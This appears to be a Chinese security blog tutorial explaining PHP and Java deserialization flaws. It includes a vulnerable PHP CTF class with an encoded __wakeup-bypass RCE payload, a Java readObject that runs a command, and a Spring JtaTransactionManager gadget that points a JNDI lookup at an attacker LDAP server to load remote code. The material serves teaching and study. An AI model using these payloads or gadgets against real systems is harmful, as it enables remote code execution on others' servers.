声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!
0x00 前言
这篇文章主要就是聊聊Java反序列化,本来是想趁着五一假期跟一下Shiro系列,但是觉得少了一些东西,所以打算用这篇文章写一下Java反序列化的大致流程以及它跟PHP反序列化的区别。
0x01 什么是反序列化?
这个问题相信大家在面试的时候会被问到。序列化就是将对象转换为字节序列的过程(便于保存在内存、文件、数据库中),反序列化就是把字节序列恢复为对象的过程。在PHP中,我们可以通过serialize()与unserialize()进行序列化与反序列化,在Java中我们同样可以使用writeObject()与readObject()进行序列化与反序列化。
0x02 PHP反序列化
相信大家对这个不会陌生,在序列化跟反序列化时,PHP会自动调用一些魔术方法,倘若这些魔术方法中存在着危险操作,就可能成为一个反序列化点
这是之前做过的一道CTF题,比较经典,我在这里稍微做了下改动
error_reporting(0);
class sercet {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
eval($this->file);
}
function __wakeup() {
$this->file = "echo 'foooooo !';";
}
}
$cmd = cmd00;
if (!isset($_GET[$cmd])) {
echo show_source('index.php', true);
} else {
$cmd = urldecode($_GET[$cmd]);
if ((preg_match('/[oc]:d+:/i', $cmd)) || (preg_match('/flag/i', $cmd))) {
echo "Are u gaoshing?";
} else {
unserialize($cmd);
}
}
这里我们只需要注意两点:
-
绕过preg_match()
-
绕过__wakeup()
其实就是对应了两个trick:
-
PHP序列化后的属性数量前面可以加“+”
-
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
这里的关键点就是__construct()中存在一个可以代码执行的点,而PHP会先执行__wakeup()再执行__construct(),所以我们用CVE-2016-7124去绕过以达到控制属性值的效果,又因为反序列化时属性值我们可以随意更改,所以最终造成RCE
Poc:
O%253A%252B6%253A%22sercet%22%253A2%253A%7Bs%253A12%253A%22%2500sercet%2500file%22%253Bs%253A15%253A%22system%28%27calc%27%29%253B%22%253B%7D
这里RCE的流程如下:
-
unserialize() => bypass wakeup() => __construct() => eval(...)
0x03 Java反序列化
我们再来看看Java反序列化,只有实现了Serializable接口的类才可以被序列化,且该类的所有属性必须是可以序列化的,也就是属性也实现了Serializable接口,除非该属性是短暂的。Java的序列化与反序列化是通过writeObject()、readObject()去实现的。
虽然它不像PHP会自动调用魔术方法,但当开发人员不安全的重写readObject时,同样会变得非常危险
import java.io.*;
public class Evil
{
public static void main(String args[]) throws Exception{
//定义myObj对象
MyObject myObj = new MyObject();
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos = new FileOutputStream("calc.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("calc.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
class MyObject implements Serializable {
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("calc");
}
}
当调用重写的readObject()去反序列化对象时,便会弹出计算器,雀食不会有那个大聪明这么写,但许多Java反序列化漏洞也大致相同
0x04 Spring JtaTransactionManager Gadget
这个gadget出来好久了,本质上跟咱们上边的例子是一样的,JtaTransactionManager类重写了readObject(),将类属性UserTransactionName作为参数传入lookup(),从而造成了JNDI注入
pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>BugTest</artifactId>
<groupId>org.example</groupId>
<version>1.0-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>SpringSer</artifactId>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>3.1.0.RELEASE</version>
</dependency>
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
</project>
Demo
import org.springframework.transaction.jta.JtaTransactionManager;
import java.io.*;
public class Test {
public static void main(String[] args) throws Exception {
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("ldap://192.168.52.4:2389/Exploit");
unserialize(serialize(jtaTransactionManager));
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
我们直接来到JtaTransactionManager#readObject(),可以看到这里调用了initUserTransactionAndTransactionManager()
如果userTransaction值为空,则将我们之前定义的恶意LDAP服务器地址作为参数,传入lookupUserTransaction()
最终调用lookup()
触发JNDI注入
调用栈
<clinit>:8, Exploit
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
doInContext:154, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:178, JndiTemplate (org.springframework.jndi)
lookupUserTransaction:546, JtaTransactionManager (org.springframework.transaction.jta)
initUserTransactionAndTransactionManager:426, JtaTransactionManager (org.springframework.transaction.jta)
readObject:1193, JtaTransactionManager (org.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
unserialize:21, Test
main:9, Test
RCE流程:
-
自定义的unserialize() => readObject() => initUserTransactionAndTransactionManager() => lookupUserTransaction() => lookup()
0x05 小结
其实Demo中将序列化与反序列化封装成与PHP同名的函数还是比较形象的,PHP的反序列化往往通过__destruct()展开,而Java的则是通过readObject()展开;相同之处都是关注反序列化时的危险操作,不同之处是Java没有魔术方法,得看开发人员如何重写的readObject()
大家可以对比一下这两张图进行理解
原文始发于微信公众号(安全日记):入坑Java安全之关于反序列化这件事
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论